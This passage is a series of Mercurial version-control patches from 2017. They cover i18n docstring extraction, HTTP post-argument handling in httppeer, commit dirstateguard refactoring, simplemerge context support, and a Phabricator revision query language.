+                if result.color:
+                    formatted = pygments.highlight(
+                        formatted,
+                        TestRunnerLexer(),
+                        formatters.Terminal256Formatter(
+                                        style=TestRunnerStyle)).strip("\n")
+                self.stream.writeln(formatted)
             for test, msg in result.errors:
                 self.stream.writeln('Errored %s: %s' % (test.name, msg))
 
diff --git a/tests/test-run-tests.t b/tests/test-run-tests.t
--- a/tests/test-run-tests.t
+++ b/tests/test-run-tests.t
@@ -131,10 +131,9 @@
   \x1b[38;5;34m+  bar*baz (glob)\x1b[39m (esc)
      bar*bad (glob)
   \x1b[38;5;124m-  bar*baz (glob)\x1b[39m (esc)
-  
-  ERROR: test-failure.t output changed
+  \x1b[38;5;88mERROR: \x1b[39m\x1b[38;5;9mtest-failure.t\x1b[39m\x1b[38;5;88m output changed\x1b[39m (esc)
   !
-  Failed test-failure.t: output changed
+  \x1b[38;5;88mFailed \x1b[39m\x1b[38;5;9mtest-failure.t\x1b[39m\x1b[38;5;88m: output changed\x1b[39m (esc)
   # Ran 1 tests, 0 skipped, 1 failed.
   python hash seed: * (glob)
   [1]
# HG changeset patch
# User FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
# Date 1501603400 -32400
#      Wed Aug 02 01:03:20 2017 +0900
# Node ID 97ee669f1f6d785395dd1174e825f9a5a30f8acf
# Parent  81b12f69ef5b10d2c5a5870eeab6c4c3d07e1a6d
i18n: make hggettext use original docstring to compute offset

Before this patch, hggettext uses __doc__ of each functions to compute
offset of document text.

But __doc__ of many functions is already modified by decorators in
registrar (e.g. @templatekeyword adds ":NAME: " prefix to it), and
hggettext can not find it out in original source.

This causes many "unknown offset in ..." warning at "make update-pot",
and leaving them might cause overlooking serious problems.

This patch makes hggettext use original docstring, which decorators in
registrar save into _origdoc, to compute offset.

Even after this patch, there are still a few "unknown offset in ..."
warning at "make update-pot" for specific reasons. These will be fixed
later one by one.

diff --git a/i18n/hggettext b/i18n/hggettext
--- a/i18n/hggettext
+++ b/i18n/hggettext
@@ -122,9 +122,14 @@
             name = "%s.%s" % (actualpath, func.__name__)
             lineno = inspect.getsourcelines(func)[1]
             doc = func.__doc__
+            origdoc = getattr(func, '_origdoc', '')
             if rstrip:
                 doc = doc.rstrip()
-            lineno += offset(src, doc, name, 1)
+                origdoc = origdoc.rstrip()
+            if origdoc:
+                lineno += offset(src, origdoc, name, 1)
+            else:
+                lineno += offset(src, doc, name, 1)
             print(poentry(actualpath, lineno, doc))
 
 
# HG changeset patch
# User FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
# Date 1501604107 -32400
#      Wed Aug 02 01:15:07 2017 +0900
# Node ID 1775f93da25c221c1746e367217482396ddc2ccb
# Parent  97ee669f1f6d785395dd1174e825f9a5a30f8acf
largefiles: fix help text to avoid warning at "make update-pot"

This change helps hggettext to find out help text in original source,
because it assumes that backslash ('\') is doubled in docstring.

diff --git a/hgext/largefiles/__init__.py b/hgext/largefiles/__init__.py
--- a/hgext/largefiles/__init__.py
+++ b/hgext/largefiles/__init__.py
@@ -91,7 +91,7 @@
   [largefiles]
   patterns =
     *.jpg
-    re:.*\.(png|bmp)$
+    re:.*\\.(png|bmp)$
     library.zip
     content/audio/*
 
# HG changeset patch
# User FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
# Date 1502605216 -32400
#      Sun Aug 13 15:20:16 2017 +0900
# Node ID 726dd73df3b9e92dc88543772bcb4ac1db291a7e
# Parent  1775f93da25c221c1746e367217482396ddc2ccb
i18n: ignore doctest part to avoid warning at "make update-pot"

hggettext assumes that backslashes in docstring are always doubled in
original source code, in order to find the location of original
docstring out certainly.

This assumption almost always works as expected. But doctest easily
breaks it, because many of backslashes in doctests aren't doubled.
This mismatching causes "unknown offset in ..." warning at "make
update-pot".

To avoid such warning, this patch ignores doctest part of docstring
before finding the location of original docstring out.

BTW, at this patch, only person() in templatefilters.py has doctest
part, which causes "unknown offset ..." warning.

Therefore, just making backslashes in that doctest doubled can avoid
such warning, too. But forcing doctest writers to double backslashes
in doctest isn't reasonable, IMHO.

diff --git a/i18n/hggettext b/i18n/hggettext
--- a/i18n/hggettext
+++ b/i18n/hggettext
@@ -24,6 +24,7 @@
 
 import inspect
 import os
+import re
 import sys
 
 
@@ -60,9 +61,15 @@
             'msgid %s\n' % normalize(s) +
             'msgstr ""\n')
 
+doctestre = re.compile(r'^ +>>> ', re.MULTILINE)
 
 def offset(src, doc, name, default):
     """Compute offset or issue a warning on stdout."""
+    # remove doctest part, in order to avoid backslash mismatching
+    m = doctestre.search(doc)
+    if m:
+        doc = doc[:m.start()]
+
     # Backslashes in doc appear doubled in src.
     end = src.find(doc.replace('\\', '\\\\'))
     if end == -1:
# HG changeset patch
# User FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
# Date 1502792844 -32400
#      Tue Aug 15 19:27:24 2017 +0900
# Node ID ed04d7254a91f4a2f37033f47ec2dd7b5c760c7d
# Parent  726dd73df3b9e92dc88543772bcb4ac1db291a7e
i18n: use saved object to get actual function information if available

To list up available compression types instead of
".. bundlecompressionmarker" in "hg help bundlespec" output, proxy
object "docobject" is used, because:

- current online help system requires that __doc__ of registered
  object (maybe, function) is already well formatted in reST syntax

- bundletype() method of compressionengine classes is used to list up
  available compression types, but

- __doc__ of bundletype() object (= "instancemethod") is read-only

On the other hand, hggettext requires original function object, in
order to get document location in source code.

Therefore, description of each compression types isn't yet
translatable. Even if translatable, translators should make much
effort to determine location of original texts in source code.

To get actual function information, this patch makes hggettext use
function object saved as "_origfunc", if it is available. This patch
also changes bundlecompressiontopics() side, in order to explain how
these changes work easily.

This patch is a part of preparations for making description of each
compression types translatable.

diff --git a/i18n/hggettext b/i18n/hggettext
--- a/i18n/hggettext
+++ b/i18n/hggettext
@@ -119,6 +119,8 @@
 
     for func, rstrip in functions:
         if func.__doc__:
+            docobj = func # this might be a proxy to provide formatted doc
+            func = getattr(func, '_origfunc', func)
             funcmod = inspect.getmodule(func)
             extra = ''
             if funcmod.__package__ == funcmod.__name__:
@@ -128,8 +130,8 @@
             src = inspect.getsource(func)
             name = "%s.%s" % (actualpath, func.__name__)
             lineno = inspect.getsourcelines(func)[1]
-            doc = func.__doc__
-            origdoc = getattr(func, '_origdoc', '')
+            doc = docobj.__doc__
+            origdoc = getattr(docobj, '_origdoc', '')
             if rstrip:
                 doc = doc.rstrip()
                 origdoc = origdoc.rstrip()
diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -3752,6 +3752,8 @@
 
         value = docobject()
         value.__doc__ = doc
+        value._origdoc = engine.bundletype.__doc__
+        value._origfunc = engine.bundletype
 
         items[bt[0]] = value
 
# HG changeset patch
# User FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
# Date 1502798786 -32400
#      Tue Aug 15 21:06:26 2017 +0900
# Node ID d5ef176081592bfbd282922252b0dd0b6f78e85f
# Parent  ed04d7254a91f4a2f37033f47ec2dd7b5c760c7d
i18n: ignore docstring for modules under mercurial

Docstring of modules is needed only for "hg help -e EXTNAME".

This is a preparation for applying hggettext on util.py, which has
module docstring, but it isn't needed for translation.

diff --git a/i18n/hggettext b/i18n/hggettext
--- a/i18n/hggettext
+++ b/i18n/hggettext
@@ -103,7 +103,7 @@
     only extract docstrings from functions mentioned in these tables.
     """
     mod = importpath(path)
-    if mod.__doc__:
+    if not path.startswith('mercurial/') and mod.__doc__:
         src = open(path).read()
         lineno = 1 + offset(src, mod.__doc__, path, 7)
         print(poentry(path, lineno, mod.__doc__))
# HG changeset patch
# User FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
# Date 1502798973 -32400
#      Tue Aug 15 21:09:33 2017 +0900
# Node ID fa7e30efe05a22fee1f642d1e3a77e26e566e7b4
# Parent  d5ef176081592bfbd282922252b0dd0b6f78e85f
i18n: get translation entries for description of each compression engines

Now, hggettext can be applied safely on util.py, of which
i18nfunctions contains appropriate objects related to each compression
types.

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -132,6 +132,7 @@
 	  mercurial/templater.py \
 	  mercurial/filemerge.py \
 	  mercurial/hgweb/webcommands.py \
+	  mercurial/util.py \
 	  $(DOCFILES) > i18n/hg.pot.tmp
         # All strings marked for translation in Mercurial contain
         # ASCII characters only. But some files contain string
diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -3759,5 +3759,7 @@
 
     return items
 
+i18nfunctions = bundlecompressiontopics().values()
+
 # convenient shortcut
 dst = debugstacktrace
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1501106299 14400
#      Wed Jul 26 17:58:19 2017 -0400
# Node ID 3c91cc0c5fde70a43703787c4d2934b8dd3f2704
# Parent  fa7e30efe05a22fee1f642d1e3a77e26e566e7b4
httppeer: add support for httppostargs when we're sending a file

This is probably only used in the 'unbundle' command, but the code
ended up being cleaner to make it generic and treat *all* httppostargs
with a non-args request body as though they were file-like in
nature. It also means we get test coverage more or less for free. A
previous version of this change didn't use io.BytesIO, and it was a
lot more complicated.

This also fixes a server-side bug, so anyone using httppostargs should
update all of their servers to this revision or later *before* this
gets to their clients, otherwise servers will hang trying to over-read
the POST body.

Differential Revision: https://phab.mercurial-scm.org/D231

diff --git a/mercurial/hgweb/protocol.py b/mercurial/hgweb/protocol.py
--- a/mercurial/hgweb/protocol.py
+++ b/mercurial/hgweb/protocol.py
@@ -75,6 +75,9 @@
         return args
     def getfile(self, fp):
         length = int(self.req.env['CONTENT_LENGTH'])
+        # If httppostargs is used, we need to read Content-Length
+        # minus the amount that was consumed by args.
+        length -= int(self.req.env.get('HTTP_X_HGARGS_POST', 0))
         for s in util.filechunkiter(self.req, limit=length):
             fp.write(s)
     def redirect(self):
diff --git a/mercurial/httppeer.py b/mercurial/httppeer.py
--- a/mercurial/httppeer.py
+++ b/mercurial/httppeer.py
@@ -9,6 +9,7 @@
 from __future__ import absolute_import
 
 import errno
+import io
 import os
 import socket
 import struct
@@ -86,6 +87,45 @@
 
     resp.__class__ = readerproxy
 
+class _multifile(object):
+    def __init__(self, *fileobjs):
+        for f in fileobjs:
+            if not util.safehasattr(f, 'length'):
+                raise ValueError(
+                    '_multifile only supports file objects that '
+                    'have a length but this one does not:', type(f), f)
+        self._fileobjs = fileobjs
+        self._index = 0
+
+    @property
+    def length(self):
+        return sum(f.length for f in self._fileobjs)
+
+    def read(self, amt=None):
+        if amt <= 0:
+            return ''.join(f.read() for f in self._fileobjs)
+        parts = []
+        while amt and self._index < len(self._fileobjs):
+            parts.append(self._fileobjs[self._index].read(amt))
+            got = len(parts[-1])
+            if got < amt:
+                self._index += 1
+            amt -= got
+        return ''.join(parts)
+
+    def seek(self, offset, whence=os.SEEK_SET):
+        if whence != os.SEEK_SET:
+            raise NotImplementedError(
+                '_multifile does not support anything other'
+                ' than os.SEEK_SET for whence on seek()')
+        if offset != 0:
+            raise NotImplementedError(
+                '_multifile only supports seeking to start, but that '
+                'could be fixed if you need it')
+        for f in self._fileobjs:
+            f.seek(0)
+        self._index = 0
+
 class httppeer(wireproto.wirepeer):
     def __init__(self, ui, path):
         self._path = path
@@ -169,17 +209,19 @@
         # with infinite recursion when trying to look up capabilities
         # for the first time.
         postargsok = self._caps is not None and 'httppostargs' in self._caps
-        # TODO: support for httppostargs when data is a file-like
-        # object rather than a basestring
-        canmungedata = not data or isinstance(data, basestring)
-        if postargsok and canmungedata:
+        if postargsok and args:
             strargs = urlreq.urlencode(sorted(args.items()))
-            if strargs:
-                if not data:
-                    data = strargs
-                elif isinstance(data, basestring):
-                    data = strargs + data
-                headers['X-HgArgs-Post'] = len(strargs)
+            if not data:
+                data = strargs
+            else:
+                if isinstance(data, basestring):
+                    i = io.BytesIO(data)
+                    i.length = len(data)
+                    data = i
+                argsio = io.BytesIO(strargs)
+                argsio.length = len(strargs)
+                data = _multifile(argsio, data)
+            headers['X-HgArgs-Post'] = len(strargs)
         else:
             if len(args) > 0:
                 httpheader = self.capable('httpheader')
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1502823320 -19800
#      Wed Aug 16 00:25:20 2017 +0530
# Node ID 42ad7cc645a41f7091359abe81496bb008350288
# Parent  3c91cc0c5fde70a43703787c4d2934b8dd3f2704
copies: add more details to the documentation of mergecopies()

This documentation is very helpful for any developer to understand what
copytracing is and what the function does. Since this is the main function of
doing copytracing, I have also included bits about copytracing in it.

This additions are picked from a doc by Stash@Fb. So thanks to him.

Differential Revision: https://phab.mercurial-scm.org/D409

diff --git a/mercurial/copies.py b/mercurial/copies.py
--- a/mercurial/copies.py
+++ b/mercurial/copies.py
@@ -304,6 +304,28 @@
 
 def mergecopies(repo, c1, c2, base):
     """
+    The basic algorithm for copytracing. Copytracing is used in commands like
+    rebase, merge, unshelve, etc to merge files that were moved/ copied in one
+    merge parent and modified in another. For example:
+
+    o          ---> 4 another commit
+    |
+    |   o      ---> 3 commit that modifies a.txt
+    |  /
+    o /        ---> 2 commit that moves a.txt to b.txt
+    |/
+    o          ---> 1 merge base
+
+    If we try to rebase revision 3 on revision 4, since there is no a.txt in
+    revision 4, and if user have copytrace disabled, we prints the following
+    message:
+
+    ```other changed <file> which local deleted```
+
+    If copytrace is enabled, this function finds all the new files that were
+    added from merge base up to the top commit (here 4), and for each file it
+    checks if this file was copied from another file (a.txt in the above case).
+
     Find moves and copies between context c1 and c2 that are relevant
     for merging. 'base' will be used as the merge base.
 
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1502778411 25200
#      Mon Aug 14 23:26:51 2017 -0700
# Node ID 5d286eb7009fde5d070bba656ff4e98e45377896
# Parent  42ad7cc645a41f7091359abe81496bb008350288
commit: move dirstateguard creation out of try-block

This is just a simple refactoring to make the next patch simpler. If
the dirstateguard constructor raises an exception, the finally-block
won't do anything anyway, so this is functionally equivalent (and
there is no except-block).

Differential Revision: https://phab.mercurial-scm.org/D405

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -2998,9 +2998,10 @@
     dsguard = None
     # extract addremove carefully -- this function can be called from a command
     # that doesn't support addremove
+    if opts.get('addremove'):
+        dsguard = dirstateguard.dirstateguard(repo, 'commit')
     try:
-        if opts.get('addremove'):
-            dsguard = dirstateguard.dirstateguard(repo, 'commit')
+        if dsguard:
             if scmutil.addremove(repo, matcher, "", opts) != 0:
                 raise error.Abort(
                     _("failed to mark all new/missing files as added/removed"))
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1502778414 25200
#      Mon Aug 14 23:26:54 2017 -0700
# Node ID 158dddc635ff6f29647c610ccab7dd02a9a5e1e4
# Parent  5d286eb7009fde5d070bba656ff4e98e45377896
commit: use context manager with dirstateguard

When I wrote 5ac845ca059a (commit: don't let failed commit with
--addremove update dirstate (issue5645), 2017-07-31), Durham's
609606d21765 (rebase: use one dirstateguard for when using
rebase.singletransaction, 2017-07-20) had not yet landed, so I had to
write it in the old-fashioned way. Now that Durham's patch is in, we
can simplify by using a context manager.

Differential Revision: https://phab.mercurial-scm.org/D406

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -3000,19 +3000,13 @@
     # that doesn't support addremove
     if opts.get('addremove'):
         dsguard = dirstateguard.dirstateguard(repo, 'commit')
-    try:
+    with dsguard or util.nullcontextmanager():
         if dsguard:
             if scmutil.addremove(repo, matcher, "", opts) != 0:
                 raise error.Abort(
                     _("failed to mark all new/missing files as added/removed"))
 
-        r = commitfunc(ui, repo, message, matcher, opts)
-        if dsguard:
-            dsguard.close()
-        return r
-    finally:
-        if dsguard:
-            dsguard.release()
+        return commitfunc(ui, repo, message, matcher, opts)
 
 def samefile(f, ctx1, ctx2):
     if f in ctx1.manifest():
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1502680012 25200
#      Sun Aug 13 20:06:52 2017 -0700
# Node ID de573184686e01c9d56c0ee79d0bcdc81e310370
# Parent  158dddc635ff6f29647c610ccab7dd02a9a5e1e4
simplemerge: extract verifytext as a helper function

This will be used in a subsequent commit.

Differential Revision: https://phab.mercurial-scm.org/D371

diff --git a/mercurial/simplemerge.py b/mercurial/simplemerge.py
--- a/mercurial/simplemerge.py
+++ b/mercurial/simplemerge.py
@@ -397,18 +397,23 @@
 
         return unc
 
+def _verifytext(text, path, ui, opts):
+    """verifies that text is non-binary (unless opts[text] is passed,
+    then we just warn)"""
+    if util.binary(text):
+        msg = _("%s looks like a binary file.") % path
+        if not opts.get('quiet'):
+            ui.warn(_('warning: %s\n') % msg)
+        if not opts.get('text'):
+            raise error.Abort(msg)
+    return text
+
 def simplemerge(ui, local, base, other, **opts):
     def readfile(filename):
         f = open(filename, "rb")
         text = f.read()
         f.close()
-        if util.binary(text):
-            msg = _("%s looks like a binary file.") % filename
-            if not opts.get('quiet'):
-                ui.warn(_('warning: %s\n') % msg)
-            if not opts.get('text'):
-                raise error.Abort(msg)
-        return text
+        return _verifytext(text, filename, ui, opts)
 
     mode = opts.get('mode','merge')
     if mode == 'union':
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1502680012 25200
#      Sun Aug 13 20:06:52 2017 -0700
# Node ID b3571dc0e6b8ddc21d5ba9c13acf9dd08ffae74b
# Parent  de573184686e01c9d56c0ee79d0bcdc81e310370
simplemerge: add optional context parameters to simplemerge

Rename the existing parameters for clarity.

These will, in subsequent patches, allow callers to redirect reads (of the
three sides of the merge) and writes (of the result) to the given contexts,
instead of using the filesystem.

While in most cases, the writes will go to a workingfilectx, this opens the
door for it to be a memfilectx in the case of an in-memory merge.

Repo will be necessary in a subsequent comit.

Differential Revision: https://phab.mercurial-scm.org/D372

diff --git a/mercurial/simplemerge.py b/mercurial/simplemerge.py
--- a/mercurial/simplemerge.py
+++ b/mercurial/simplemerge.py
@@ -408,7 +408,8 @@
             raise error.Abort(msg)
     return text
 
-def simplemerge(ui, local, base, other, **opts):
+def simplemerge(ui, localfile, basefile, otherfile,
+                localctx=None, basectx=None, otherctx=None, repo=None, **opts):
     def readfile(filename):
         f = open(filename, "rb")
         text = f.read()
@@ -421,8 +422,8 @@
         name_b = None
         name_base = None
     else:
-        name_a = local
-        name_b = other
+        name_a = localfile
+        name_b = otherfile
         name_base = None
         labels = opts.get('label', [])
         if len(labels) > 0:
@@ -435,16 +436,16 @@
             raise error.Abort(_("can only specify three labels."))
 
     try:
-        localtext = readfile(local)
-        basetext = readfile(base)
-        othertext = readfile(other)
+        localtext = readfile(localfile)
+        basetext = readfile(basefile)
+        othertext = readfile(otherfile)
     except error.Abort:
         return 1
 
-    local = os.path.realpath(local)
+    localfile = os.path.realpath(localfile)
     if not opts.get('print'):
-        opener = vfsmod.vfs(os.path.dirname(local))
-        out = opener(os.path.basename(local), "w", atomictemp=True)
+        opener = vfsmod.vfs(os.path.dirname(localfile))
+        out = opener(os.path.basename(localfile), "w", atomictemp=True)
     else:
         out = ui.fout
 
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1502680012 25200
#      Sun Aug 13 20:06:52 2017 -0700
# Node ID db3e9f7c91aabb43a597b619fd48cd5e73d8ef9e
# Parent  b3571dc0e6b8ddc21d5ba9c13acf9dd08ffae74b
filemerge: pass contexts to simplemerge

Otherwise, this should be a no-op.

Differential Revision: https://phab.mercurial-scm.org/D373

diff --git a/mercurial/filemerge.py b/mercurial/filemerge.py
--- a/mercurial/filemerge.py
+++ b/mercurial/filemerge.py
@@ -341,7 +341,8 @@
                 labels = _defaultconflictlabels
             if len(labels) < 3:
                 labels.append('base')
-        r = simplemerge.simplemerge(ui, a, b, c, quiet=True, label=labels)
+        r = simplemerge.simplemerge(ui, a, b, c, fcd, fca, fco,
+                                    quiet=True, label=labels, repo=repo)
         if not r:
             ui.debug(" premerge successful\n")
             return 0
@@ -371,7 +372,8 @@
 
     ui = repo.ui
 
-    r = simplemerge.simplemerge(ui, a, b, c, label=labels, mode=mode)
+    r = simplemerge.simplemerge(ui, a, b, c, fcd, fca, fco,
+                                label=labels, mode=mode, repo=repo)
     return True, r, False
 
 @internaltool('union', fullmerge,
@@ -423,8 +425,9 @@
     assert localorother is not None
     tool, toolpath, binary, symlink = toolconf
     a, b, c, back = files
-    r = simplemerge.simplemerge(repo.ui, a, b, c, label=labels,
-                                localorother=localorother)
+    r = simplemerge.simplemerge(repo.ui, a, b, c, fcd, fca, fco,
+                                label=labels, localorother=localorother,
+                                repo=repo)
     return True, r
 
 @internaltool('merge-local', mergeonly, precheck=_mergecheck)
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1502680012 25200
#      Sun Aug 13 20:06:52 2017 -0700
# Node ID 8b91a4ff23adb337e9525441ca09571acc5a7cfe
# Parent  db3e9f7c91aabb43a597b619fd48cd5e73d8ef9e
simplemerge: use contexts to read file data from, if passed

Differential Revision: https://phab.mercurial-scm.org/D374

diff --git a/mercurial/simplemerge.py b/mercurial/simplemerge.py
--- a/mercurial/simplemerge.py
+++ b/mercurial/simplemerge.py
@@ -410,12 +410,30 @@
 
 def simplemerge(ui, localfile, basefile, otherfile,
                 localctx=None, basectx=None, otherctx=None, repo=None, **opts):
+    """Performs the simplemerge algorithm.
+
+    {local|base|other}ctx are optional. If passed, they (local/base/other) will
+    be read from. You should pass explicit labels in this mode since the default
+    is to use the file paths."""
     def readfile(filename):
         f = open(filename, "rb")
         text = f.read()
         f.close()
         return _verifytext(text, filename, ui, opts)
 
+    def readctx(ctx):
+        if not ctx:
+            return None
+        if not repo:
+            raise error.ProgrammingError('simplemerge: repo must be passed if '
+                                         'using contexts')
+        # `wwritedata` is used to get the post-filter data from `ctx` (i.e.,
+        # what would have been in the working copy). Since merges were run in
+        # the working copy, and thus used post-filter data, we do the same to
+        # maintain behavior.
+        return repo.wwritedata(ctx.path(),
+                               _verifytext(ctx.data(), ctx.path(), ui, opts))
+
     mode = opts.get('mode','merge')
     if mode == 'union':
         name_a = None
@@ -436,9 +454,9 @@
             raise error.Abort(_("can only specify three labels."))
 
     try:
-        localtext = readfile(localfile)
-        basetext = readfile(basefile)
-        othertext = readfile(otherfile)
+        localtext = readctx(localctx) if localctx else readfile(localfile)
+        basetext = readctx(basectx) if basectx else readfile(basefile)
+        othertext = readctx(otherctx) if otherctx else readfile(otherfile)
     except error.Abort:
         return 1
 
diff --git a/tests/test-lfconvert.t b/tests/test-lfconvert.t
--- a/tests/test-lfconvert.t
+++ b/tests/test-lfconvert.t
@@ -128,7 +128,7 @@
   $ hg merge
   merging sub/maybelarge.dat and stuff/maybelarge.dat to stuff/maybelarge.dat
   merging sub/normal2 and stuff/normal2 to stuff/normal2
-  warning: $TESTTMP/bigfile-repo/stuff/maybelarge.dat looks like a binary file. (glob)
+  warning: stuff/maybelarge.dat looks like a binary file. (glob)
   warning: conflicts while merging stuff/maybelarge.dat! (edit, then use 'hg resolve --mark')
   0 files updated, 1 files merged, 0 files removed, 1 files unresolved
   use 'hg resolve' to retry unresolved file merges or 'hg update -C .' to abandon
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1502689563 25200
#      Sun Aug 13 22:46:03 2017 -0700
# Node ID b86fc43e4b73422ec74975f8f7dc36c74e2a9885
# Parent  8b91a4ff23adb337e9525441ca09571acc5a7cfe
simplemerge: write merge result to the localctx, if passed

Differential Revision: https://phab.mercurial-scm.org/D375

diff --git a/mercurial/simplemerge.py b/mercurial/simplemerge.py
--- a/mercurial/simplemerge.py
+++ b/mercurial/simplemerge.py
@@ -413,8 +413,8 @@
     """Performs the simplemerge algorithm.
 
     {local|base|other}ctx are optional. If passed, they (local/base/other) will
-    be read from. You should pass explicit labels in this mode since the default
-    is to use the file paths."""
+    be read from and the merge result written to (local). You should pass
+    explicit labels in this mode since the default is to use the file paths."""
     def readfile(filename):
         f = open(filename, "rb")
         text = f.read()
@@ -434,6 +434,17 @@
         return repo.wwritedata(ctx.path(),
                                _verifytext(ctx.data(), ctx.path(), ui, opts))
 
+    class ctxwriter(object):
+        def __init__(self, ctx):
+            self.ctx = ctx
+            self.text = ""
+
+        def write(self, text):
+            self.text += text
+
+        def close(self):
+            self.ctx.write(self.text, self.ctx.flags())
+
     mode = opts.get('mode','merge')
     if mode == 'union':
         name_a = None
@@ -460,12 +471,14 @@
     except error.Abort:
         return 1
 
-    localfile = os.path.realpath(localfile)
-    if not opts.get('print'):
+    if opts.get('print'):
+        out = ui.fout
+    elif localctx:
+        out = ctxwriter(localctx)
+    else:
+        localfile = os.path.realpath(localfile)
         opener = vfsmod.vfs(os.path.dirname(localfile))
         out = opener(os.path.basename(localfile), "w", atomictemp=True)
-    else:
-        out = ui.fout
 
     m3 = Merge3Text(basetext, localtext, othertext)
     extrakwargs = {
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1502689576 25200
#      Sun Aug 13 22:46:16 2017 -0700
# Node ID aa6c290a77fa91c3dc7d30da3367a47a1c1c41e9
# Parent  b86fc43e4b73422ec74975f8f7dc36c74e2a9885
filemerge: extract `_picklabels` as a helper function

This shortens `simplemerge()` and is a bit cleaner, IMO.

Differential Revision: https://phab.mercurial-scm.org/D376

diff --git a/mercurial/simplemerge.py b/mercurial/simplemerge.py
--- a/mercurial/simplemerge.py
+++ b/mercurial/simplemerge.py
@@ -408,6 +408,20 @@
             raise error.Abort(msg)
     return text
 
+def _picklabels(defaults, overrides):
+    name_a, name_b, name_base = defaults
+
+    if len(overrides) > 0:
+        name_a = overrides[0]
+    if len(overrides) > 1:
+        name_b = overrides[1]
+    if len(overrides) > 2:
+        name_base = overrides[2]
+    if len(overrides) > 3:
+        raise error.Abort(_("can only specify three labels."))
+
+    return [name_a, name_b, name_base]
+
 def simplemerge(ui, localfile, basefile, otherfile,
                 localctx=None, basectx=None, otherctx=None, repo=None, **opts):
     """Performs the simplemerge algorithm.
@@ -446,23 +460,11 @@
             self.ctx.write(self.text, self.ctx.flags())
 
     mode = opts.get('mode','merge')
-    if mode == 'union':
-        name_a = None
-        name_b = None
-        name_base = None
-    else:
-        name_a = localfile
-        name_b = otherfile
-        name_base = None
-        labels = opts.get('label', [])
-        if len(labels) > 0:
-            name_a = labels[0]
-        if len(labels) > 1:
-            name_b = labels[1]
-        if len(labels) > 2:
-            name_base = labels[2]
-        if len(labels) > 3:
-            raise error.Abort(_("can only specify three labels."))
+    name_a, name_b, name_base = None, None, None
+    if mode != 'union':
+        name_a, name_b, name_base = _picklabels([localfile,
+                                                 otherfile, None],
+                                                opts.get('label', []))
 
     try:
         localtext = readctx(localctx) if localctx else readfile(localfile)
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1500358446 25200
#      Mon Jul 17 23:14:06 2017 -0700
# Node ID 75fdaf851e8379e882e3bc6cf4495b5149266f84
# Parent  aa6c290a77fa91c3dc7d30da3367a47a1c1c41e9
phabricator: change "readpatch" to be more flexible

Previously, `readpatch` and `querydrev` take a same `params` and `stack`
parameters. This patch changes `readpatch` so it takes the output of
`querydrev`, not the input of `querydrev`. This makes the code more
flexible and cleaner.

Differential Revision: https://phab.mercurial-scm.org/D124

diff --git a/contrib/phabricator.py b/contrib/phabricator.py
--- a/contrib/phabricator.py
+++ b/contrib/phabricator.py
@@ -635,15 +635,12 @@
             meta[r'parent'] = commit[r'parents'][0]
     return meta or {}
 
-def readpatch(repo, params, write, stack=False):
+def readpatch(repo, drevs, write):
     """generate plain-text patch readable by 'hg import'
 
-    write is usually ui.write. params is passed to "differential.query". If
-    stack is True, also write dependent patches.
+    write is usually ui.write. drevs is what "querydrev" returns, results of
+    "differential.query".
     """
-    # Differential Revisions
-    drevs = querydrev(repo, params, stack)
-
     # Prefetch hg:meta property for all diffs
     diffids = sorted(set(max(int(v) for v in drev[r'diffs']) for drev in drevs))
     diffs = callconduit(repo, 'differential.querydiffs', {'ids': diffids})
@@ -683,4 +680,5 @@
         revid = int(revid.split('/')[-1].replace('D', ''))
     except ValueError:
         raise error.Abort(_('invalid Revision ID: %s') % revid)
-    readpatch(repo, {'ids': [revid]}, ui.write, opts.get('stack'))
+    drevs = querydrev(repo, {'ids': [revid]}, opts.get('stack'))
+    readpatch(repo, drevs, ui.write)
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1500358751 25200
#      Mon Jul 17 23:19:11 2017 -0700
# Node ID 539541779010f774421743c406314019a72e66f7
# Parent  75fdaf851e8379e882e3bc6cf4495b5149266f84
phabricator: add a small language to query Differential Revisions

Previously, `phabread` can only be used to read a single patch, or a single
stack of patches. In the future, we want to have more complex queries like
filtering with status (open, accepted, closed, etc), or maybe more complex
like filtering by reviewers etc. The command line flag approach won't scale
with that.

Besides, we might want to have other commands to update Differential
Revision status in batch, like accepting a stack using a single command.

Therefore, this patch adds a small language. It has basic set operations:
`&`, `+`, `-` and an ancestor operator to support `--stack`.

Test Plan:
Try querying this Phabricator instance:

  hg phabread 1+2 # 1, 2
  hg phabread D2+D1 # 2, 1
  hg phabread ':118-115+:2-1' # 114, 116, 117, 118, 2
  hg phabread '((:118-(D115+117)))&:117' # 114, 116
  hg phabread ':2&:117' --debug # differential.query is called only once

Make sure the output is expected and prefetch works.

Differential Revision: https://phab.mercurial-scm.org/D125

diff --git a/contrib/phabricator.py b/contrib/phabricator.py
--- a/contrib/phabricator.py
+++ b/contrib/phabricator.py
@@ -32,7 +32,9 @@
 
 from __future__ import absolute_import
 
+import itertools
 import json
+import operator
 import re
 
 from mercurial.node import bin, nullid
@@ -44,9 +46,11 @@
     error,
     mdiff,
     obsutil,
+    parser,
     patch,
     registrar,
     scmutil,
+    smartset,
     tags,
     url as urlmod,
     util,
@@ -484,11 +488,77 @@
